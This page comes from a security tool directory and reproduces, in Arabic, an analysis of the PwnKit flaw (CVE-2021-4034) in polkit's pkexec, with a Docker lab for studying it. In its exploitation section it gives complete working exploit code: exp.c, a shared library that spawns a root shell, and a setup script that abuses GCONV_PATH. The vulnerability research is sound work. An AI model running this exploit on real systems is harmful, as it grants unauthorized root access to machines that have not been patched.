Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-4034 — CVE-2021-4034 إثبات المفهوم و Docker وتقرير التحليل | Kitploit
أدوات/GitHubGitHub/chenaotian/cve-2021-4034
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubchenaotian/cve-2021-4034

CVE-2021-4034

CVE-2021-4034 إثبات المفهوم و Docker وتقرير التحليل

عرض المستودع
123منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-4034 تحليل رفع الامتيازات المحلية لـ PolKit

[toc]

نظرة عامة على الثغرة

رقم الثغرة: CVE-2021-4034

تصنيف الثغرة:

المنتج المتأثر: linux PolKit (pkexec)

النطاق المتأثر: الإصدارات من 2009 حتى الآن (الحالي 0.105) راجع http://its.dlut.edu.cn/info/1054/78309.htm

شروط الاستغلال: محلي على لينكس؛ ملف pkexec هو suid ولديه صلاحية التنفيذ

الحصول على المصدر: apt source policykit-1 أو https://launchpad.net/ubuntu/bionic/+package/policykit-1

بيئة Docker

بيئة Docker: chenaotian/cve-2021-4034

Docker الذي أنشأته يوفر:

  1. pkexec مترجم ذاتيًا مع إمكانية تصحيح الأخطاء من المصدر
  2. glibc مع رموز التصحيح (يبدو غير مفيد)
  3. gdb وإضافات gdb pwngdb & pwndbg (يبدو غير ضروري)
  4. الـ exp في بيئة التصحيح

كل شيء موجود في الدليل /root/:

image-20220126183638493

  • دليل exp هو الدليل الذي يحتوي على exp و run.sh، يمكنك التبديل إلى المستخدم test باستخدام su test ثم التشغيل
  • glibc-2.27 هو دليل شفرة glibc المصدرية، على الأرجح لن تحتاجه، لكنه مفيد لتصحيح الأخطاء المصدرية باستخدام gdb عند الحاجة
  • polkit-0.105 هو حزمة شفرة policykit المصدرية

تشغيل Docker:

root@kitploit:~
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash

اختبار الـ exp:

root@kitploit:~
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami

مبدأ الثغرة

المنتج الذي تحدث فيه الثغرة هو أمر pkexec ضمن polkit. يشبه pkexec أداة sudo حيث يسمح لنا بتنفيذ الأوامر كمستخدم آخر (عادةً root). يمكن معرفة الحزمة التي ينتمي إليها pkexec باستخدام الأمر dpkg:

root@kitploit:~
dpkg -S /usr/bin/pkexec

image-20220126152839307

ثم الحصول على حزمة المصدر (موجودة أيضًا في Docker الخاص بي)، وبعد ذلك تجميع إصدار قابل للتصحيح من حزمة المصدر لتسهيل التصحيح.

نقطة إطلاق الثغرة

مبدأ إطلاق الثغرة بسيط للغاية

/polkit-0.105/src/programs/pkexec.c : 386 main

root@kitploit:~
int
main (int argc, char *argv[])
{
    
  ··· ···
  ··· ···
      
  /* هذا يعني تكرار المعاملات المدخلة من المستخدم وتعيين القيم بناءً على معاملات مختلفة
   * لكن المشكلة أن نقطة البداية للتكرار هي 1، دون مراعاة حالة عدم إدخال المستخدم لأي معاملات
   */
  for (n = 1; n < (guint) argc; n++) 
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      ··· ···
      else // إذا كان المعامل غير معروف، يتم الخروج من الحلقة، مما يعني أن هذا المعامل هو الأمر المطلوب تنفيذه
        {
          break;
        }
    }

  ··· ···

  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]); // الحصول على السلسلة النصية للأمر المراد تنفيذه
  if (path == NULL)
    {
      ···
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      // هذه الدالة تبحث عن المسار المطلق للأمر وفقًا لمتغير البيئة PATH
      s = g_find_program_in_path (path); 
      if (s == NULL)
        {
          ···
        }
      g_free (path);
      argv[n] = path = s;// تعديل معامل سطر الأوامر بالمسار المطلق الذي تم الحصول عليه
    }
  ··· ···
  ··· ···

تحليل استنادًا إلى تعليقاتي في الكود:

  1. أولاً، في الدالة main، يتم تعيين بعض المتغيرات بناءً على معاملات سطر الأوامر، لكن قيمة بداية حلقة for هي 1، مما يعني أنها تفترض افتراضيًا أننا سنقدم معاملًا واحدًا على الأقل (الأمر المراد تنفيذه بواسطة pkexec)
  2. إذا تم العثور على معامل سطر أوامر لا يبدأ بـ --، يُعتبر هذا الأمر هو المراد تنفيذه، ويتم الخروج من الحلقة لتنفيذ المنطق التالي.
  3. يتم استدعاء الدالة g_find_program_in_path للبحث عن المسار المطلق للأمر. تبحث الدالة وفقًا لمتغير البيئة PATH عن المسار المطلق للمعامل المُمرر (الأمر). على سبيل المثال، إدخال cat يُرجع /bin/cat.
  4. يتم كتابة المسار المطلق المُعاد في موقع معامل سطر الأوامر (يمكن فهمه على أنه تحويل الأمر إلى المسار المطلق للملف المقابل للأمر).

من السهل فهمه، لكن المشكلة تكمن في:

  1. عند تشغيل برنامج ثنائي في لينكس، يتم وضع معاملات سطر الأوامر argv[] ومتغيرات البيئة environ[] في أسفل المكدس، وهما متصلان. العنصر الأخير في argv[] هو null.

    image-20220126162140802

  2. إذا تم تشغيل pkexec من سطر الأوامر دون أي معاملات أخرى، فإن argv[0] سيكون "pkexec" و argv[1] سيكون \x00، لا مشكلة. لكن إذا تم تشغيل pkexec باستخدام الدالة execve دون أي معاملات أخرى، فإن argv[0] سيكون \x00 و سيكون متغير بيئة! عند قراءة ، سيتم قراءة خارج الحدود ().

إذن ما هو التأثير؟ عند التشغيل باستخدام execve دون أي معاملات أخرى، فإن طول argv[] يساوي 0، وبالتالي argv[1] هو environ[0]. وبهذا يصبح المنطق الذي تم تحليله أعلاه هو: الحصول على قيمة أول متغير بيئة، والبحث عن مساره المطلق في متغير البيئة PATH. إذا تم العثور عليه، يتم كتابته مرة أخرى في أول متغير بيئة. وبالتالي تكون طريقة الاستغلال كالتالي:

استغلال الثغرة

أول شيء يجب توضيحه هو أن pkexec هو ملف امتياز (suid):

image-20220126161324831

كيف يمكن استغلال متغيرات البيئة في ملف امتياز؟ أولاً، دعنا نفهم تفصيلًا صغيرًا:

تفصيل صغير

يقوم المُحمل الديناميكي في لينكس ld-linux-x86-64.so.2 بمسح متغيرات البيئة الحساسة عند تنفيذ برامج الامتياز:

الدالة _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307

root@kitploit:~
void
_dl_non_dynamic_init (void)
{
  ··· ···
  ··· ···

  if (__libc_enable_secure) // في حالة وضع الامتياز
    {
      static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
      const char *cp = unsecure_envvars;

      // تكرار لمسح جميع متغيرات البيئة في قائمة المتغيرات الخطرة (unset)
      while (cp < unsecure_envvars + sizeof (unsecure_envvars)) 
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

#if !HAVE_TUNABLES
      if (__access ("/etc/suid-debug", F_OK) != 0)
	__unsetenv ("MALLOC_CHECK_");
#endif
    }
··· ···
··· ···
}

قائمة متغيرات البيئة الخطرة UNSECURE_ENVVARS معرفة كالتالي:

glibc-2.27/sysdeps/generic/unsecvars.h : 10

root@kitploit:~
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"							      \
  "GETCONF_DIR\0"							      \
  GLIBC_TUNABLES_ENVVAR							      \
  "HOSTALIASES\0"							      \
  "LD_AUDIT\0"								      \
  "LD_DEBUG\0"								      \
  "LD_DEBUG_OUTPUT\0"							      \
  "LD_DYNAMIC_WEAK\0"							      \
  "LD_HWCAP_MASK\0"							      \
  "LD_LIBRARY_PATH\0"							      \
  "LD_ORIGIN_PATH\0"							      \
  "LD_PRELOAD\0"							      \
  "LD_PROFILE\0"							      \
  "LD_SHOW_AUXV\0"							      \
  "LD_USE_LOAD_BIAS\0"							      \
  "LOCALDOMAIN\0"							      \
  "LOCPATH\0"								      \
  "MALLOC_TRACE\0"							      \
  "NIS_PATH\0"								      \
  "NLSPATH\0"								      \
  "RESOLV_HOST_CONF\0"							      \
  "RES_OPTIONS\0"							      \
  "TMPDIR\0"								      \
  "TZDIR\0"

عند اكتشاف أن البرنامج هو ملف امتياز (suid)، يتم مسح متغيرات البيئة هذه. يمكن ملاحظة أن معظمها من سلسلة LD_، والتي لديها القدرة على تحديد مسار تحميل المكتبات الديناميكية. هذا لمنع المستخدمين ذوي الصلاحيات المنخفضة من جعل برامج suid تحمل ملفات so غير موثوقة عبر هذه المتغيرات، مما قد يؤدي إلى تنفيذ كود ضار ورفع الامتيازات.

وفي سيناريو هذه الثغرة، لدينا فرصة لكتابة أي متغير بيئة مرة واحدة، وفكرة استغلالنا هي محاولة إيجاد شيء من متغيرات البيئة تلك التي لا يمكن تمريرها عادةً إلى برامج suid.

مبدأ الاستغلال

نظرًا لأن الـ PoC قد نُشر بالفعل، فمن السهل رؤية الإجابة مباشرةً. تمت الإشارة إلى PoC arthepsy. المحتوى بسيط، ولكن من خلال هذا الـ PoC نعلم أن متغير البيئة الرئيسي المستخدم هو GCONV_PATH. إنه بالفعل أحد متغيرات البيئة الخطرة المذكورة أعلاه، بل هو الأول!

حول GCONV_PATH والدالة iconv_open():

الدالة iconv_open() تطلب واصف تحويل لتحويل تسلسل الأحرف من ترميز fromcode إلى ترميز tcode. يحتوي واصف التحويل على حالة التحويل. تقوم الدالة أولاً بالعثور على ملف gconv-modules المقدم من النظام، والذي يحتوي على مسارات تخزين المعلومات ذات الصلة لكل مجموعة أحرف، حيث يتم تخزين المعلومات في ملف .so. ثم بناءً على إرشادات ملف gconv-modules، تقوم بربط ملف .so المقابل للمعامل لتنفيذ العملية المحددة. إذا كان هناك متغير بيئة GCONV_PATH، فإن الدالة iconv_open() تبحث عن ملف gconv-modules وفقًا لـ GCONV_PATH، وتستمر بقية العملية كما هي.

أي أن متغير البيئة GCONV_PATH هنا له وظيفة مشابهة لـ LD_LIBRARY_PATH. يمكنه تحديد الملفات التي تبحث عنها الدالة iconv_open() عن مكتبات so. إذا تمكنا من تزوير GCONV_PATH ثم تزوير gconv-modules وأخيرًا تزوير ملف so، يمكننا تحميل أي ملف so وتنفيذ أي كود تعسفي.

الفكرة العامة كالتالي:

  1. إنشاء دليل باسم GCONV_PATH=.

  2. إنشاء ملف باسم pwnkitdir داخل الدليل GCONV_PATH=.، مع صلاحية التنفيذ (x)

  3. إنشاء دليل باسم pwnkitdir

  4. إنشاء ملف gconv-modules داخل دليل pwnkit، وكتابة المحتوى التالي وفقًا للتنسيق:

    root@kitploit:~
    module UTF-8// PWNKIT// pwnkit 1
    
  5. وضع ملف so ضار pwnkit.so داخل دليل pwnkit، يحتوي على كود للحصول على شل.

  6. تعيين متغيرات البيئة ذات الصلة

    • أول متغير بيئة: pwnkitdir
    • ثاني متغير بيئة: PATH=GCONV_PATH=. وبهذا يكون المسار الذي تركبه الدالة g_find_program_in_path هو GCONV_PATH=./pwnkitdir، وهو تنسيق متغير بيئة تمامًا، والدليل موجود، والملف موجود أيضًا.

ثم ينجح الاستغلال. الـ exp التفصيلي كالتالي:

الـ exp

exp.c

root@kitploit:~
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp); // يرجى تعديل المسار وفقًا للوضع الفعلي
}

lib.c

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}

run.sh

root@kitploit:~
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp

الاستغلال ناجح:

image-20220126182231579

إجراءات التخفيف

التحديث إلى أحدث إصدار

المراجع

الإفصاح عن الثغرة: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

PoC لـ arthepsy: https://github.com/arthepsy/CVE-2021-4034

تنزيل الأداة
argv[1]
argv[1]
environ[0]
out-of-bounds

تشغيل pkexec مباشرة من سطر الأوامر، argc = 1، argv[0] هو مسار pkexec:

image-20220126162616203

تشغيل pkexec باستخدام execve، argc = 0:

image-20220126162804529

./pwnkitdir
GCONV_PATH=./pwnkitdir
  • متغير بيئة CHARSET=PWNKIT، سيتم استخدامه في المسار قبل الوصول إلى iconv_open، للبحث عن so من gconv-modules
  • متغير بيئة SHELL=xxx، سيتم استخدامه في المسار قبل الوصول إلى iconv_open
  • تشغيل pkexec باستخدام execve بمعاملات فارغة، ومتغيرات البيئة مضبوطة كما هو مذكور أعلاه